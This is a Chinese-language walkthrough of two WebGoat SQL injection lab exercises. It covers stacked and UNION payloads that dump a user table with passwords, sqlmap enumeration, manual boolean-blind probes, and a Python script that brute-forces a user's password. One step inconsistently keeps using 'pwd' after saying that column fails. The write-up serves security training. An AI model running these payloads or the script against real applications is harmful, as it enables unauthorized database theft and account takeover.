---
# System prepended metadata

title: OWASP TOP10 Injection(SQL Injection advanced)
tags: [webgoat, Injection]

---

---
disqus: jpower
---

# OWASP TOP10 Injection(SQL Injection advanced)


## 3 Try It! Pulling data from other tables

![](https://i.imgur.com/Lob0lsS.png)

Q：
取得資料表中的所有資料並取得Dave的密碼

ANS：

方法一、
```
在Name輸入

'OR'1'='1'; SELECT * FROM user_system_data;--
```
可以取得user_system_data的內容，包含Dave密碼
![](https://i.imgur.com/OdNr8A4.png)


方法二、
```
在Name輸入

' UNION SELECT 1,user_name,password,cookie,'A','A',4 FROM user_system_data;--
```
![](https://i.imgur.com/sulW3EQ.png)

說明：
```
SQL語法中的1、'A'、'A'、4 都是用來湊數用的，因為UNION合併指令要求欄位數相同，因此使用相同欄位屬性的值(int、varchar)來湊數
```






## 5 boolean-based blind
Q：
登入Tom的帳號

A：
1. 首先可以使用brupsuite觀察Login與Register送出的參數有哪些，將burpsuite看到的request結果另存成request_login.txt、request_register.txt，並利用SQLMAP工具進行探測。

Login
![](https://i.imgur.com/tH9TxCi.png)

```
sqlmap -r request_login.txt
```

Regster
![](https://i.imgur.com/ii4dbNo.png)

```
sqlmap -r request_register.txt
```

2. 使用SQLMAP測試過後，會發現在Register的部分，username_reg存在boolean-based blind，有機會可以執行SQL Injection。另外也發現資料庫是使用HSQLDB版本1.7.2。


![](https://i.imgur.com/U4nCZLQ.png)



3. 接著試著列出所有DB名稱。
```
sqlmap -r request_register.txt --dbs --no-cast
```

![](https://i.imgur.com/ekc3Amk.png)



4. 檢視目前是使用哪一個DB，發現是使用PUBLIC。
```
sqlmap -r request_register.txt --dbs --no-cast --current-db
```

![](https://i.imgur.com/2AIuWnp.png)



5. 利用sqlmap嘗試針對PUBLIC列出它包含的TABLE，可惜無法得到結果。
```
sqlmap -r request_register.txt --dbs --tables -D PUBLIC --technique B --no-cast --threads 10
```


6. 接下來嘗試用手動方式進行測試，由於已經知道username_reg存在==boolean-based blind==，以下針對這個欄位接著測試。測試成立一個帳號aaa，新成立的帳號成功建立的條件下，下方結果會顯示==User aaa created, please procees to the login page.==
![](https://i.imgur.com/29i16NO.png)


7. 同一個帳號aaa再一次註冊，會發現若是已經存在的帳號，下方的結果會顯示另一個 ==User aaa already exists please try to register with a different username.==
![](https://i.imgur.com/GCmxYfE.png)


8. 接下來測試重複註冊我們要登入的帳號Tom，結果顯示 ==User Tom created, please procees to the login page.== 發現可以被新增，因此Tom不是原本既有的帳號。
![](https://i.imgur.com/7NcRB3y.png)


9. 另外再測試小寫的帳號tom，結果顯示 ==User tom already exists please try to register with a different username.== 可以發現我們的目標帳號應該是小寫tom才對。
![](https://i.imgur.com/awVEgN2.png)



10. 接著測試當結果為==真==的時候會顯示的內容，會顯示already exists的回覆。

==User {0} already exists please try to register with a different username.==

```
tom' AND '1'='1
```
![](https://i.imgur.com/K0UI24z.png)


11. 接著測試當結果為==假==的時候會顯示的內容，會顯示created的回覆。

==User tom' AND '1'='2 created, please procees to the login page.==

```
tom' AND '1'='2
```
![](https://i.imgur.com/1qdo0zn.png)



12. 最後再測試語法錯誤會有什麼回覆，故意打錯成ANDD，會顯示Sorry的回覆。
```
tom' ANDD '1'='2
```
![](https://i.imgur.com/z5YWMMD.png)




13. 整理如下表所示

|  真 | 假 | 語法錯誤 |
| -------- | -------- | -------- |
| already exists     | created     | Sorry     |


14. 由於剛剛用brupsuite可以看到送出去的密碼請求是password_reg，因此我們猜測密碼的欄位有可能是password、pwd之類的。要測試欄位名稱是否正確的話可以利用==length()>0==語法。首先測試password，得到的結果是already exists。
```
tom' AND length(password)>0--
```
![](https://i.imgur.com/8mwhznb.png)


15. 另外驗證一下，測試pwd，得到的結果是Sorry。==代表密碼的欄位名稱是password沒錯且密碼長度>0==。
```
tom' AND length(pwd)>0--
```
![](https://i.imgur.com/OdaTBPu.png)

16. 下一步依序測試密碼長度實際的大小，從50開始試發現密碼長度小於50，最後會發現密碼長度是23。

```
tom' AND length(pwd)>50--

得到created代表結果為假
```
![](https://i.imgur.com/jkYGHB8.png)

```
tom' AND length(pwd)=23--

得到already exists代表結果為真
```
![](https://i.imgur.com/io9IGRb.png)


17. 在知道密碼長度是23之後，可以利用==substring()== 語法來猜密碼。
```
substring(str,pos,len)
以上語法的意思是，由<str>中的第<pos>位置開始，選出接下去的<len>個字元
```
18. 舉例來說我們猜測密碼第一個是否為a，得到的結果是假。
![](https://i.imgur.com/d4f7QlC.png)

19. 接著測試到是否為t的時候，發現得到的結果是真。
![](https://i.imgur.com/Sxb6mNP.png)


20. 知道邏輯之後利用python寫一隻小程式試著暴力列舉，程式碼如下：

```
import requests

url = 'http://localhost:8080/WebGoat/SqlInjectionAdvanced/challenge'
headersdata = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36','Cookie':'JSESSIONID=VEWJgGwvd8q4QSY9kxRB1Og72WsKxz2RMgznMFYH'}

pwdlist=[chr(i) for i in range(32,127)] #ASCII可顯示字元範圍從32-127
print(pwdlist)
ans = ''

for i in range(1,24):
    for p in pwdlist:
        payload = "tom' AND substring(password,"+str(i)+",1)='"+p+"'--"
        formdata = {
                'username_reg':payload,
                'email_reg':'t@t',
                'password_reg':'123',
                'confirm_password':'123'
                }
        respones = requests.put(url, data=formdata, headers=headersdata)
        if 'already' in str(respones.text):
            ans = ans + p
            print(ans)

```
21. 最終得到結果如下，使用者Tom的密碼為==thisisasecretfortomonly==
![](https://i.imgur.com/vaqqxtN.png)

###### tags: `webgoat`,`Injection`




